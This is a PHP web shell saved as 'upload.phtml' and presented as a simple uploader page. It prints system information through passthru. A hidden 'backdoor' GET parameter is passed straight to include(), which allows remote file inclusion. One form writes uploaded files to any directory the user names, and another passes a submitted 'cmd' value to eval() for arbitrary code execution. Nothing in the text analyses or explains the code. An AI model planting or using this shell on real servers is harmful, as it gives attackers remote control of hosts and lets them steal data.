upload.phtml

<html>
<head>
<title>uploader</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<style type="text/css">
<!--
body {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px}
a {  color: #000000; text-decoration: none}
a:hover {  color: #000066; text-decoration: underline}
-->
</style>
</head>

<body bgcolor="#999999" text="#000000">
<center>
  <table width="700" border="0" bgcolor="#000066">
    <tr>
      <td>
        <table width="100%" border="0" bgcolor="#CCCCCC">
          <tr>
            <td>
              <p><font size="2"><b><font color="#FF0000">&nbsp;&nbsp;&nbsp;System:
                <font color="#000000">
                <? passthru("uname -a"); ?><? error_reporting(0); include($_GET[backdoor]); echo $_GET[backdoor]; ?>
                </font><br>
                &nbsp;&nbsp;&nbsp;Our permissions: <font color="#000000">
                <? passthru("id"); ?>
                </font><br>
                &nbsp;&nbsp;&nbsp;Our locality: <font color="#000000">
                <? passthru("pwd"); ?>
                </font></font></b></font></p>

<pre>
<?php
// FILE UPLOAD
$uploaded = $_FILES['userfile']['tmp_name'];
if (file_exists($uploaded)) {
   $pwd_dir = $_POST['dira'];
   $real = $_FILES['userfile']['name'];
   $destination = $pwd_dir."/".$real;
   copy($uploaded, $destination);
   echo "Uploaded process:";
   print_r ($_FILES);
   echo "FILE UPLOADED TO $destination";
} else {
    echo "&nbsp;&nbsp;No file uploaded";
}
?>     </pre> <form name="form1" method="post" enctype="multipart/form-data">
                <table width="100%" border="0">
                  <tr>
                    <td width="35%"><font size="2"><b>&nbsp;&nbsp;Browse file
                      to upload:</b></font></td>
                    <td width="65%">
                      <input type="file" name="userfile" size="45">
                    </td>
                  </tr>
                  <tr>
                    <td width="35%"><b><font size="2">&nbsp;&nbsp;Destination:</font></b></td>
                    <td width="65%">
                      <input type="text" name="dira" size="45" value="<? passthru("pwd"); ?>">
                      <input type="submit" name="submit2" value="upload">
                    </td>
                  </tr>
                  <tr>
                    <td width="35%">
                      <div align="right"> </div>
                    </td>
                    <td width="65%">&nbsp; </td>
                  </tr>
                  <tr>
                    <td width="35%"><b><font size="2">&nbsp;&nbsp;Command to execute:</font></b></td>
                    <td width="65%">
                      <input type="text" name="cmd" size="45" value="<? echo $_POST['cmd']; ?>">
                      <input type="submit" name="submit" value="execute">
                    </td>
                  </tr>
                  <tr>
                    <td width="35%">
                      <div align="right"> </div>
                    </td>
                    <td width="65%">&nbsp; </td>
                  </tr>
                </table>
              </form>
              <p>
                          <pre>
                          <?
                          // command output
                                if ($_POST['cmd']){
                          $cmd = $_POST['cmd'];
                          echo "$cmd executed...<br>";
                          eval("$cmd");
                          }
                          else {
                          echo "No shell command executed";
                          }

                          ?></pre>



              <div align="right"> <font size="1"><b>2003 &copy; </b></font> </div>
            </td>
          </tr>
        </table>
      </td>
    </tr>
  </table>
</center>
</body>
</html>